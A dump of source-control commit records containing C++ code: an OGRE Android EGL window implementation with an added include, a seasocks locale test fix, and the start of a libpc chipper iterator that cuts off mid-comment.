AndroidEGLWindow::windowMovedOrResized()\n {\n if(mActive)\n {\t\t\n \/\/ When using GPU rendering for Android UI the os creates a context in the main thread\n \/\/ Now we have 2 choices create OGRE in its own thread or set our context current before doing\n \/\/ anything else. I put this code here because this function called before any rendering is done.\n \/\/ Because the events for screen rotation \/ resizing did not worked on all devices it is the best way\n \/\/ to query the correct dimensions.\n mContext->setCurrent(); \n eglQuerySurface(mEglDisplay, mEglSurface, EGL_WIDTH, (EGLint*)&mWidth);\n eglQuerySurface(mEglDisplay, mEglSurface, EGL_HEIGHT, (EGLint*)&mHeight);\n \n \/\/ Notify viewports of resize\n ViewportList::iterator it = mViewportList.begin();\n while( it != mViewportList.end() )\n (*it++).second->_updateDimensions();\n }\n }\n \n void AndroidEGLWindow::switchFullScreen(bool fullscreen)\n {\n \n }\n \n void AndroidEGLWindow::create(const String& name, uint width, uint height,\n bool fullScreen, const NameValuePairList *miscParams)\n {\n mName = name;\n mWidth = width;\n mHeight = height;\n mLeft = 0;\n mTop = 0;\n mIsFullScreen = fullScreen;\n void* eglContext = NULL;\n AConfiguration* config = NULL;\n bool preserveContextOpt = false;\n \n if (miscParams)\n {\n NameValuePairList::const_iterator opt;\n NameValuePairList::const_iterator end = miscParams->end();\n \n if ((opt = miscParams->find(\"currentGLContext\")) != end &&\n StringConverter::parseBool(opt->second))\n {\n eglContext = eglGetCurrentContext();\n if (!eglContext)\n {\n OGRE_EXCEPT(Exception::ERR_RENDERINGAPI_ERROR,\n \"currentGLContext was specified with no current GL context\",\n \"EGLWindow::create\");\n }\n \n mEglSurface = eglGetCurrentSurface(EGL_DRAW);\n mEglDisplay = eglGetCurrentDisplay();\n }\n \n \n if((opt = miscParams->find(\"externalWindowHandle\")) != end)\n {\n mWindow = (ANativeWindow*)(Ogre::StringConverter::parseSizeT(opt->second));\n }\n \n if((opt = miscParams->find(\"androidConfig\")) != end)\n {\n config = (AConfiguration*)(Ogre::StringConverter::parseSizeT(opt->second));\n }\n \n int ctxHandle = -1;\n if((opt = miscParams->find(\"externalGLContext\")) != end)\n {\n mIsExternalGLControl = true;\n ctxHandle = Ogre::StringConverter::parseInt(opt->second);\n }\n \n if((opt = miscParams->find(\"maxColourBufferSize\")) != end)\n {\n mMaxBufferSize = Ogre::StringConverter::parseInt(opt->second);\n }\n \n if((opt = miscParams->find(\"maxDepthBufferSize\")) != end)\n {\n mMaxDepthSize = Ogre::StringConverter::parseInt(opt->second);\n }\n \n if((opt = miscParams->find(\"maxStencilBufferSize\")) != end)\n {\n mMaxStencilSize = Ogre::StringConverter::parseInt(opt->second);\n }\n\n if((opt = miscParams->find(\"minColourBufferSize\")) != end)\n {\n mMinBufferSize = Ogre::StringConverter::parseInt(opt->second);\n if (mMinBufferSize > mMaxBufferSize) mMinBufferSize = mMaxBufferSize;\n }\n\n if((opt = miscParams->find(\"MSAA\")) != end)\n {\n mMSAA = Ogre::StringConverter::parseInt(opt->second);\n }\n \n if((opt = miscParams->find(\"CSAA\")) != end)\n {\n mCSAA = Ogre::StringConverter::parseInt(opt->second);\n }\n\n if ((opt = miscParams->find(\"preserveContext\")) != end &&\r\n StringConverter::parseBool(opt->second))\r\n {\r\n preserveContextOpt = true;\r\n }\n }\n \n initNativeCreatedWindow(miscParams);\n \n if (mEglSurface)\n {\n mEglConfig = mGLSupport->getGLConfigFromDrawable (mEglSurface, &width, &height);\n }\n \n if (!mEglConfig && eglContext)\n {\n mEglConfig = mGLSupport->getGLConfigFromContext(eglContext);\n \n if (!mEglConfig)\n {\n \/\/ This should never happen.\n OGRE_EXCEPT(Exception::ERR_RENDERINGAPI_ERROR,\n \"Unexpected failure to determine a EGLFBConfig\",\n \"EGLWindow::create\");\n }\n }\n \n mIsExternal = (mEglSurface != 0);\n \n if (!mEglConfig)\n {\n _createInternalResources(mWindow, config);\n mHwGamma = false;\n }\n \n mContext = createEGLContext();\n mContext->setCurrent();\n \n eglQuerySurface(mEglDisplay, mEglSurface, EGL_WIDTH, (EGLint*)&mWidth);\n eglQuerySurface(mEglDisplay, mEglSurface, EGL_HEIGHT, (EGLint*)&mHeight);\n EGL_CHECK_ERROR\n\n mActive = true;\n mVisible = true;\n mClosed = false;\n mPreserveContext = preserveContextOpt;\n }\n\n void AndroidEGLWindow::_destroyInternalResources()\n {\n if(mClosed)\n return;\n \n if (!mPreserveContext)\r\n {\n mContext->setCurrent();\n\n static_cast<GLRenderSystemCommon*>(Ogre::Root::getSingletonPtr()->getRenderSystem())->notifyOnContextLost();\n mContext->_destroyInternalResources();\n }\n \n eglDestroySurface(mEglDisplay, mEglSurface);\n EGL_CHECK_ERROR\n \n eglTerminate(mEglDisplay);\n EGL_CHECK_ERROR\n \n mEglDisplay = 0;\n mEglSurface = 0;\n \n mActive = false;\n mVisible = false;\n mClosed = true;\n }\n \n void AndroidEGLWindow::_createInternalResources(NativeWindowType window, AConfiguration* config)\n {\n mWindow = window;\n \n if (mPreserveContext)\r\n {\r\n mEglDisplay = mGLSupport->getGLDisplay();\r\n mEglSurface = createSurfaceFromWindow(mEglDisplay, mWindow);\r\n static_cast<EGLContext*>(mContext)->_updateInternalResources(mEglDisplay, mEglConfig, mEglSurface);\r\n }\r\n else\r\n {\n int minAttribs[] = {\n EGL_RENDERABLE_TYPE, EGL_OPENGL_ES2_BIT,\n EGL_BUFFER_SIZE, mMinBufferSize,\n EGL_DEPTH_SIZE, 16,\n EGL_NONE\n };\n\n int maxAttribs[] = {\n EGL_BUFFER_SIZE, mMaxBufferSize,\n EGL_DEPTH_SIZE, mMaxDepthSize,\n EGL_STENCIL_SIZE, mMaxStencilSize,\n EGL_NONE\n };\n\n bool bAASuccess = false;\n if (mCSAA)\n {\n try\n {\n int CSAAminAttribs[] = {\n EGL_RENDERABLE_TYPE, EGL_OPENGL_ES2_BIT,\n EGL_BUFFER_SIZE, mMinBufferSize,\n EGL_DEPTH_SIZE, 16,\n EGL_COVERAGE_BUFFERS_NV, 1,\n EGL_COVERAGE_SAMPLES_NV, mCSAA,\n EGL_NONE\n };\n int CSAAmaxAttribs[] = {\n EGL_BUFFER_SIZE, mMaxBufferSize,\n EGL_DEPTH_SIZE, mMaxDepthSize,\n EGL_STENCIL_SIZE, mMaxStencilSize,\n EGL_COVERAGE_BUFFERS_NV, 1,\n EGL_COVERAGE_SAMPLES_NV, mCSAA,\n EGL_NONE\n };\n mEglConfig = mGLSupport->selectGLConfig(CSAAminAttribs, CSAAmaxAttribs);\n bAASuccess = true;\n }\n catch (Exception& e)\n {\n LogManager::getSingleton().logMessage(\"AndroidEGLWindow::_createInternalResources: setting CSAA failed\");\n }\n }\n\n if (mMSAA && !bAASuccess)\n {\n try\n {\n int MSAAminAttribs[] = {\n EGL_RENDERABLE_TYPE, EGL_OPENGL_ES2_BIT,\n EGL_BUFFER_SIZE, mMinBufferSize,\n EGL_DEPTH_SIZE, 16,\n EGL_SAMPLE_BUFFERS, 1,\n EGL_SAMPLES, mMSAA,\n EGL_NONE\n };\n int MSAAmaxAttribs[] = {\n EGL_BUFFER_SIZE, mMaxBufferSize,\n EGL_DEPTH_SIZE, mMaxDepthSize,\n EGL_STENCIL_SIZE, mMaxStencilSize,\n EGL_SAMPLE_BUFFERS, 1,\n EGL_SAMPLES, mMSAA,\n EGL_NONE\n };\n mEglConfig = mGLSupport->selectGLConfig(MSAAminAttribs, MSAAmaxAttribs);\n bAASuccess = true;\n }\n catch (Exception& e)\n {\n LogManager::getSingleton().logMessage(\"AndroidEGLWindow::_createInternalResources: setting MSAA failed\");\n }\n }\n\n mEglDisplay = mGLSupport->getGLDisplay();\n if (!bAASuccess) mEglConfig = mGLSupport->selectGLConfig(minAttribs, maxAttribs);\n\n EGLint format;\n eglGetConfigAttrib(mEglDisplay, mEglConfig, EGL_NATIVE_VISUAL_ID, &format);\n EGL_CHECK_ERROR\n\n ANativeWindow_setBuffersGeometry(mWindow, 0, 0, format);\n\n mEglSurface = createSurfaceFromWindow(mEglDisplay, mWindow);\n\n if (config)\n {\n bool isLandscape = (int)AConfiguration_getOrientation(config) == 2;\n mGLSupport->setConfigOption(\"Orientation\", isLandscape ? \"Landscape\" : \"Portrait\");\n }\n }\n \n if(mContext)\n {\n mActive = true;\n mVisible = true;\n mClosed = false;\n \n if (!mPreserveContext)\r\n {\n mContext->_createInternalResources(mEglDisplay, mEglConfig, mEglSurface, NULL);\n\n static_cast<GLRenderSystemCommon*>(Ogre::Root::getSingletonPtr()->getRenderSystem())->resetRenderer(this);\n }\n }\n }\n}\n<commit_msg>fix build with NDK11+: add missing include<commit_after>\/*\n-----------------------------------------------------------------------------\nThis source file is part of OGRE\n (Object-oriented Graphics Rendering Engine)\nFor the latest info, see http:\/\/www.ogre3d.org\/\n\nCopyright (c) 2000-2014 Torus Knot Software Ltd\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n-----------------------------------------------------------------------------\n*\/\n\n#include \"OgreRoot.h\"\n#include \"OgreException.h\"\n#include \"OgreLogManager.h\"\n#include \"OgreStringConverter.h\"\n#include \"OgreWindowEventUtilities.h\"\n\n#include \"OgreGLRenderSystemCommon.h\"\n\n#include \"OgreAndroidEGLSupport.h\"\n#include \"OgreAndroidEGLWindow.h\"\n#include \"OgreViewport.h\"\n\n#include <android\/native_window.h>\n\n#include <iostream>\n#include <algorithm>\n#include <climits>\n\nnamespace Ogre {\n AndroidEGLWindow::AndroidEGLWindow(AndroidEGLSupport *glsupport)\n : EGLWindow(glsupport),\n mMaxBufferSize(32),\n mMinBufferSize(16),\n mMaxDepthSize(16),\n mMaxStencilSize(0),\n mMSAA(0),\n mCSAA(0),\r\n mPreserveContext(false)\n {\n }\n\n void AndroidEGLWindow::getLeftAndTopFromNativeWindow( int & left, int & top, uint width, uint height )\n {\n \/\/ We don't have a native window.... but I think all android windows are origined\n left = top = 0;\n }\n\n void AndroidEGLWindow::initNativeCreatedWindow(const NameValuePairList *miscParams)\n {\n }\n\n void AndroidEGLWindow::createNativeWindow( int &left, int &top, uint &width, uint &height, String &title )\n {\n }\n\n void AndroidEGLWindow::reposition( int left, int top )\n {\n }\n\n void AndroidEGLWindow::resize(uint width, uint height)\n {\n }\n\n void AndroidEGLWindow::windowMovedOrResized()\n {\n if(mActive)\n {\t\t\n \/\/ When using GPU rendering for Android UI the os creates a context in the main thread\n \/\/ Now we have 2 choices create OGRE in its own thread or set our context current before doing\n \/\/ anything else. I put this code here because this function called before any rendering is done.\n \/\/ Because the events for screen rotation \/ resizing did not worked on all devices it is the best way\n \/\/ to query the correct dimensions.\n mContext->setCurrent(); \n eglQuerySurface(mEglDisplay, mEglSurface, EGL_WIDTH, (EGLint*)&mWidth);\n eglQuerySurface(mEglDisplay, mEglSurface, EGL_HEIGHT, (EGLint*)&mHeight);\n \n \/\/ Notify viewports of resize\n ViewportList::iterator it = mViewportList.begin();\n while( it != mViewportList.end() )\n (*it++).second->_updateDimensions();\n }\n }\n \n void AndroidEGLWindow::switchFullScreen(bool fullscreen)\n {\n \n }\n \n void AndroidEGLWindow::create(const String& name, uint width, uint height,\n bool fullScreen, const NameValuePairList *miscParams)\n {\n mName = name;\n mWidth = width;\n mHeight = height;\n mLeft = 0;\n mTop = 0;\n mIsFullScreen = fullScreen;\n void* eglContext = NULL;\n AConfiguration* config = NULL;\n bool preserveContextOpt = false;\n \n if (miscParams)\n {\n NameValuePairList::const_iterator opt;\n NameValuePairList::const_iterator end = miscParams->end();\n \n if ((opt = miscParams->find(\"currentGLContext\")) != end &&\n StringConverter::parseBool(opt->second))\n {\n eglContext = eglGetCurrentContext();\n if (!eglContext)\n {\n OGRE_EXCEPT(Exception::ERR_RENDERINGAPI_ERROR,\n \"currentGLContext was specified with no current GL context\",\n \"EGLWindow::create\");\n }\n \n mEglSurface = eglGetCurrentSurface(EGL_DRAW);\n mEglDisplay = eglGetCurrentDisplay();\n }\n \n \n if((opt = miscParams->find(\"externalWindowHandle\")) != end)\n {\n mWindow = (ANativeWindow*)(Ogre::StringConverter::parseSizeT(opt->second));\n }\n \n if((opt = miscParams->find(\"androidConfig\")) != end)\n {\n config = (AConfiguration*)(Ogre::StringConverter::parseSizeT(opt->second));\n }\n \n int ctxHandle = -1;\n if((opt = miscParams->find(\"externalGLContext\")) != end)\n {\n mIsExternalGLControl = true;\n ctxHandle = Ogre::StringConverter::parseInt(opt->second);\n }\n \n if((opt = miscParams->find(\"maxColourBufferSize\")) != end)\n {\n mMaxBufferSize = Ogre::StringConverter::parseInt(opt->second);\n }\n \n if((opt = miscParams->find(\"maxDepthBufferSize\")) != end)\n {\n mMaxDepthSize = Ogre::StringConverter::parseInt(opt->second);\n }\n \n if((opt = miscParams->find(\"maxStencilBufferSize\")) != end)\n {\n mMaxStencilSize = Ogre::StringConverter::parseInt(opt->second);\n }\n\n if((opt = miscParams->find(\"minColourBufferSize\")) != end)\n {\n mMinBufferSize = Ogre::StringConverter::parseInt(opt->second);\n if (mMinBufferSize > mMaxBufferSize) mMinBufferSize = mMaxBufferSize;\n }\n\n if((opt = miscParams->find(\"MSAA\")) != end)\n {\n mMSAA = Ogre::StringConverter::parseInt(opt->second);\n }\n \n if((opt = miscParams->find(\"CSAA\")) != end)\n {\n mCSAA = Ogre::StringConverter::parseInt(opt->second);\n }\n\n if ((opt = miscParams->find(\"preserveContext\")) != end &&\r\n StringConverter::parseBool(opt->second))\r\n {\r\n preserveContextOpt = true;\r\n }\n }\n \n initNativeCreatedWindow(miscParams);\n \n if (mEglSurface)\n {\n mEglConfig = mGLSupport->getGLConfigFromDrawable (mEglSurface, &width, &height);\n }\n \n if (!mEglConfig && eglContext)\n {\n mEglConfig = mGLSupport->getGLConfigFromContext(eglContext);\n \n if (!mEglConfig)\n {\n \/\/ This should never happen.\n OGRE_EXCEPT(Exception::ERR_RENDERINGAPI_ERROR,\n \"Unexpected failure to determine a EGLFBConfig\",\n \"EGLWindow::create\");\n }\n }\n \n mIsExternal = (mEglSurface != 0);\n \n if (!mEglConfig)\n {\n _createInternalResources(mWindow, config);\n mHwGamma = false;\n }\n \n mContext = createEGLContext();\n mContext->setCurrent();\n \n eglQuerySurface(mEglDisplay, mEglSurface, EGL_WIDTH, (EGLint*)&mWidth);\n eglQuerySurface(mEglDisplay, mEglSurface, EGL_HEIGHT, (EGLint*)&mHeight);\n EGL_CHECK_ERROR\n\n mActive = true;\n mVisible = true;\n mClosed = false;\n mPreserveContext = preserveContextOpt;\n }\n\n void AndroidEGLWindow::_destroyInternalResources()\n {\n if(mClosed)\n return;\n \n if (!mPreserveContext)\r\n {\n mContext->setCurrent();\n\n static_cast<GLRenderSystemCommon*>(Ogre::Root::getSingletonPtr()->getRenderSystem())->notifyOnContextLost();\n mContext->_destroyInternalResources();\n }\n \n eglDestroySurface(mEglDisplay, mEglSurface);\n EGL_CHECK_ERROR\n \n eglTerminate(mEglDisplay);\n EGL_CHECK_ERROR\n \n mEglDisplay = 0;\n mEglSurface = 0;\n \n mActive = false;\n mVisible = false;\n mClosed = true;\n }\n \n void AndroidEGLWindow::_createInternalResources(NativeWindowType window, AConfiguration* config)\n {\n mWindow = window;\n \n if (mPreserveContext)\r\n {\r\n mEglDisplay = mGLSupport->getGLDisplay();\r\n mEglSurface = createSurfaceFromWindow(mEglDisplay, mWindow);\r\n static_cast<EGLContext*>(mContext)->_updateInternalResources(mEglDisplay, mEglConfig, mEglSurface);\r\n }\r\n else\r\n {\n int minAttribs[] = {\n EGL_RENDERABLE_TYPE, EGL_OPENGL_ES2_BIT,\n EGL_BUFFER_SIZE, mMinBufferSize,\n EGL_DEPTH_SIZE, 16,\n EGL_NONE\n };\n\n int maxAttribs[] = {\n EGL_BUFFER_SIZE, mMaxBufferSize,\n EGL_DEPTH_SIZE, mMaxDepthSize,\n EGL_STENCIL_SIZE, mMaxStencilSize,\n EGL_NONE\n };\n\n bool bAASuccess = false;\n if (mCSAA)\n {\n try\n {\n int CSAAminAttribs[] = {\n EGL_RENDERABLE_TYPE, EGL_OPENGL_ES2_BIT,\n EGL_BUFFER_SIZE, mMinBufferSize,\n EGL_DEPTH_SIZE, 16,\n EGL_COVERAGE_BUFFERS_NV, 1,\n EGL_COVERAGE_SAMPLES_NV, mCSAA,\n EGL_NONE\n };\n int CSAAmaxAttribs[] = {\n EGL_BUFFER_SIZE, mMaxBufferSize,\n EGL_DEPTH_SIZE, mMaxDepthSize,\n EGL_STENCIL_SIZE, mMaxStencilSize,\n EGL_COVERAGE_BUFFERS_NV, 1,\n EGL_COVERAGE_SAMPLES_NV, mCSAA,\n EGL_NONE\n };\n mEglConfig = mGLSupport->selectGLConfig(CSAAminAttribs, CSAAmaxAttribs);\n bAASuccess = true;\n }\n catch (Exception& e)\n {\n LogManager::getSingleton().logMessage(\"AndroidEGLWindow::_createInternalResources: setting CSAA failed\");\n }\n }\n\n if (mMSAA && !bAASuccess)\n {\n try\n {\n int MSAAminAttribs[] = {\n EGL_RENDERABLE_TYPE, EGL_OPENGL_ES2_BIT,\n EGL_BUFFER_SIZE, mMinBufferSize,\n EGL_DEPTH_SIZE, 16,\n EGL_SAMPLE_BUFFERS, 1,\n EGL_SAMPLES, mMSAA,\n EGL_NONE\n };\n int MSAAmaxAttribs[] = {\n EGL_BUFFER_SIZE, mMaxBufferSize,\n EGL_DEPTH_SIZE, mMaxDepthSize,\n EGL_STENCIL_SIZE, mMaxStencilSize,\n EGL_SAMPLE_BUFFERS, 1,\n EGL_SAMPLES, mMSAA,\n EGL_NONE\n };\n mEglConfig = mGLSupport->selectGLConfig(MSAAminAttribs, MSAAmaxAttribs);\n bAASuccess = true;\n }\n catch (Exception& e)\n {\n LogManager::getSingleton().logMessage(\"AndroidEGLWindow::_createInternalResources: setting MSAA failed\");\n }\n }\n\n mEglDisplay = mGLSupport->getGLDisplay();\n if (!bAASuccess) mEglConfig = mGLSupport->selectGLConfig(minAttribs, maxAttribs);\n\n EGLint format;\n eglGetConfigAttrib(mEglDisplay, mEglConfig, EGL_NATIVE_VISUAL_ID, &format);\n EGL_CHECK_ERROR\n\n ANativeWindow_setBuffersGeometry(mWindow, 0, 0, format);\n\n mEglSurface = createSurfaceFromWindow(mEglDisplay, mWindow);\n\n if (config)\n {\n bool isLandscape = (int)AConfiguration_getOrientation(config) == 2;\n mGLSupport->setConfigOption(\"Orientation\", isLandscape ? \"Landscape\" : \"Portrait\");\n }\n }\n \n if(mContext)\n {\n mActive = true;\n mVisible = true;\n mClosed = false;\n \n if (!mPreserveContext)\r\n {\n mContext->_createInternalResources(mEglDisplay, mEglConfig, mEglSurface, NULL);\n\n static_cast<GLRenderSystemCommon*>(Ogre::Root::getSingletonPtr()->getRenderSystem())->resetRenderer(this);\n }\n }\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2013-2016, Matt Godbolt\n\/\/ All rights reserved.\n\/\/ \n\/\/ Redistribution and use in source and binary forms, with or without \n\/\/ modification, are permitted provided that the following conditions are met:\n\/\/ \n\/\/ Redistributions of source code must retain the above copyright notice, this \n\/\/ list of conditions and the following disclaimer.\n\/\/ \n\/\/ Redistributions in binary form must reproduce the above copyright notice, \n\/\/ this list of conditions and the following disclaimer in the documentation \n\/\/ and\/or other materials provided with the distribution.\n\/\/ \n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" \n\/\/ AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE \n\/\/ IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE \n\/\/ ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE \n\/\/ LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR \n\/\/ CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF \n\/\/ SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS \n\/\/ INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN \n\/\/ CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n\/\/ ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE \n\/\/ POSSIBILITY OF SUCH DAMAGE.\n\n#include \"seasocks\/ToString.h\"\n\n#include \"catch.hpp\"\n\nusing namespace seasocks;\n\nTEST_CASE(\"insensitiveToLocale\", \"[toStringTests]\") {\n CHECK(toString(\"1234\") == \"1234\");\n auto prev = std::locale::global(std::locale(\"en_US.utf8\"));\n CHECK(toString(\"1234\") == \"1234\"); \/\/ locale-dependent could have been 1,234\n std::locale::global(std::locale(\"\"));\n CHECK(toString(\"1234\") == \"1234\"); \/\/ locale-dependent could have been 1,234\n std::locale::global(prev);\n}\n<commit_msg>Fix the tests for toString so they really show bug 28 was fixed. Closes #28<commit_after>\/\/ Copyright (c) 2013-2016, Matt Godbolt\n\/\/ All rights reserved.\n\/\/ \n\/\/ Redistribution and use in source and binary forms, with or without \n\/\/ modification, are permitted provided that the following conditions are met:\n\/\/ \n\/\/ Redistributions of source code must retain the above copyright notice, this \n\/\/ list of conditions and the following disclaimer.\n\/\/ \n\/\/ Redistributions in binary form must reproduce the above copyright notice, \n\/\/ this list of conditions and the following disclaimer in the documentation \n\/\/ and\/or other materials provided with the distribution.\n\/\/ \n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" \n\/\/ AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE \n\/\/ IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE \n\/\/ ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE \n\/\/ LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR \n\/\/ CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF \n\/\/ SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS \n\/\/ INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN \n\/\/ CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n\/\/ ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE \n\/\/ POSSIBILITY OF SUCH DAMAGE.\n\n#include \"seasocks\/ToString.h\"\n\n#include \"catch.hpp\"\n\nusing namespace seasocks;\n\nTEST_CASE(\"insensitiveToLocale\", \"[toStringTests]\") {\n CHECK(toString(1234) == \"1234\");\n auto prev = std::locale::global(std::locale(\"en_US.utf8\"));\n CHECK(toString(1234) == \"1234\"); \/\/ locale-dependent could have been 1,234\n std::locale::global(std::locale(\"\"));\n CHECK(toString(1234) == \"1234\"); \/\/ locale-dependent could have been 1,234\n std::locale::global(prev);\n}\n<|endoftext|>"} {"text":"<commit_before>\/******************************************************************************\n* Copyright (c) 2011, Michael P. Gerlek (mpg@flaxen.com)\n*\n* All rights reserved.\n*\n* Redistribution and use in source and binary forms, with or without\n* modification, are permitted provided that the following\n* conditions are met:\n*\n* * Redistributions of source code must retain the above copyright\n* notice, this list of conditions and the following disclaimer.\n* * Redistributions in binary form must reproduce the above copyright\n* notice, this list of conditions and the following disclaimer in\n* the documentation and\/or other materials provided\n* with the distribution.\n* * Neither the name of Hobu, Inc. or Flaxen Geo Consulting nor the\n* names of its contributors may be used to endorse or promote\n* products derived from this software without specific prior\n* written permission.\n*\n* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n* \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS\n* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED\n* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n* OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY\n* OF SUCH DAMAGE.\n****************************************************************************\/\n\n#include <libpc\/filters\/ChipperIterator.hpp>\n\n\nnamespace libpc { namespace filters {\n\n\nChipperSequentialIterator::ChipperSequentialIterator(Chipper const& filter)\n : libpc::FilterSequentialIterator(filter)\n , m_chipper(filter)\n , m_currentBlockId(0)\n , m_currentPointCount(0)\n{\n const_cast<Chipper&>(m_chipper).Chip();\n return;\n}\n\nboost::uint64_t ChipperSequentialIterator::skipImpl(boost::uint64_t count)\n{\n return naiveSkipImpl(count);\n}\n\n\nboost::uint32_t ChipperSequentialIterator::readImpl(PointBuffer& buffer)\n{\n \/\/ The client has asked us for dstData.getCapacity() points.\n \/\/ We will read from our previous stage until we get that amount (or\n \/\/ until the previous stage runs out of points).\n\n\n buffer.setNumPoints(0);\n\n \n if (m_currentBlockId == m_chipper.GetBlockCount())\n return 0; \/\/ we're done.\n\n filters::chipper::Block const& block = m_chipper.GetBlock(m_currentBlockId);\n std::size_t numPointsThisBlock = block.GetIDs().size();\n m_currentPointCount = m_currentPointCount + numPointsThisBlock;\n \n if (buffer.getCapacity() < numPointsThisBlock)\n {\n \/\/ FIXME: Expand the buffer?\n throw libpc_error(\"Buffer not large enough to hold block!\");\n }\n block.GetBuffer(m_chipper.getPrevStage(), buffer, m_currentBlockId);\n \n \/\/ FIXME: Set the PointBuffer's Bounds\n \n buffer.setSpatialBounds(block.GetBounds());\n m_currentBlockId++;\n return numPointsThisBlock;\n\n}\n\n\nbool ChipperSequentialIterator::atEndImpl() const\n{\n \/\/ we don't have a fixed point point --\n \/\/ we are at the end only when our source is at the end\n const SequentialIterator& iter = getPrevIterator();\n return iter.atEnd();\n}\n\n\n\/\/ boost::uint64_t ChipperSequentialIterator::skipImpl(boost::uint64_t count)\n\/\/ {\n\/\/ getPrevIterator().skip(count);\n\/\/ return count;\n\/\/ }\n\/\/ \n\/\/ \n\/\/ bool ChipperSequentialIterator::atEndImpl() const\n\/\/ {\n\/\/ return getPrevIterator().atEnd();\n\/\/ }\n\/\/ \n\/\/ \n\/\/ boost::uint32_t ChipperSequentialIterator::readImpl(PointBuffer& data)\n\/\/ {\n\/\/ const boost::uint32_t numRead = getPrevIterator().read(data);\n\/\/ \/\/ const boost::uint32_t cacheBlockSize = m_filter.getCacheBlockSize();\n\/\/ \/\/ \n\/\/ \/\/ const boost::uint64_t currentPointIndex = getIndex();\n\/\/ \/\/ \n\/\/ \/\/ \/\/ for now, we only read from the cache if they are asking for one point\n\/\/ \/\/ \/\/ (this avoids the problem of an N-point request needing more than one\n\/\/ \/\/ \/\/ cached block to satisfy it)\n\/\/ \/\/ if (data.getCapacity() != 1)\n\/\/ \/\/ {\n\/\/ \/\/ const boost::uint32_t numRead = getPrevIterator().read(data);\n\/\/ \/\/ \n\/\/ \/\/ \/\/ if they asked for a full block and we got a full block,\n\/\/ \/\/ \/\/ and the block we got is properly aligned and not already cached,\n\/\/ \/\/ \/\/ then let's cache it!\n\/\/ \/\/ const bool isCacheable = (data.getCapacity() == cacheBlockSize) && \n\/\/ \/\/ (numRead == cacheBlockSize) && \n\/\/ \/\/ (currentPointIndex % cacheBlockSize == 0);\n\/\/ \/\/ if (isCacheable && (m_filter.lookupInCache(currentPointIndex) == NULL))\n\/\/ \/\/ {\n\/\/ \/\/ m_filter.addToCache(currentPointIndex, data);\n\/\/ \/\/ }\n\/\/ \/\/ \n\/\/ \/\/ m_filter.updateStats(numRead, data.getCapacity());\n\/\/ \/\/ \n\/\/ \/\/ return numRead;\n\/\/ \/\/ }\n\/\/ \/\/ \n\/\/ \/\/ \/\/ they asked for just one point -- first, check Mister Cache\n\/\/ \/\/ const PointBuffer* block = m_filter.lookupInCache(currentPointIndex);\n\/\/ \/\/ if (block != NULL)\n\/\/ \/\/ {\n\/\/ \/\/ \/\/ A hit! A palpable hit!\n\/\/ \/\/ 